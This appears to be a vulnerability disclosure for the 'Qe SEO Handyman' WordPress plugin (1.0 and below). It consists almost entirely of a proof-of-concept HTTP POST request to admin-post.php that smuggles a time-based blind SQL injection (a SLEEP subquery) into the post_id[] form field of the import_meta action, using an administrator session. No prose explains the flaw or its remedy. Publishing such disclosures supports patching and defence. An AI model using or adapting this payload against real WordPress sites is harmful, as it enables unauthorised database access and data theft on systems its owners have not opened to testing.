Qe SEO Handyman <= 1.0 - Admin+ SQLi

Proof of Concept

POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=qe-seo-handyman&tab=import
Content-Type: multipart/form-data; boundary=---------------------------8468852133354988763032646215
Content-Length: 1377
Origin: http://localhost
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="action"

import_meta
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="nonce"

62bfc7851f
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_title[]"

test
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_desc[]"

test
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="term_id[]"

5
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="permalink[]"

http://localhost/?taxonomy=bp-email-type&term=activity-at-message
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="taxonomy[]"

bp-email-type
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_focuskw[]"

activity-at-message
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="post_id[]"

5 AND (SELECT 3477 FROM (SELECT(SLEEP(5)))DhVP)
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="submit"

Submit
-----------------------------8468852133354988763032646215--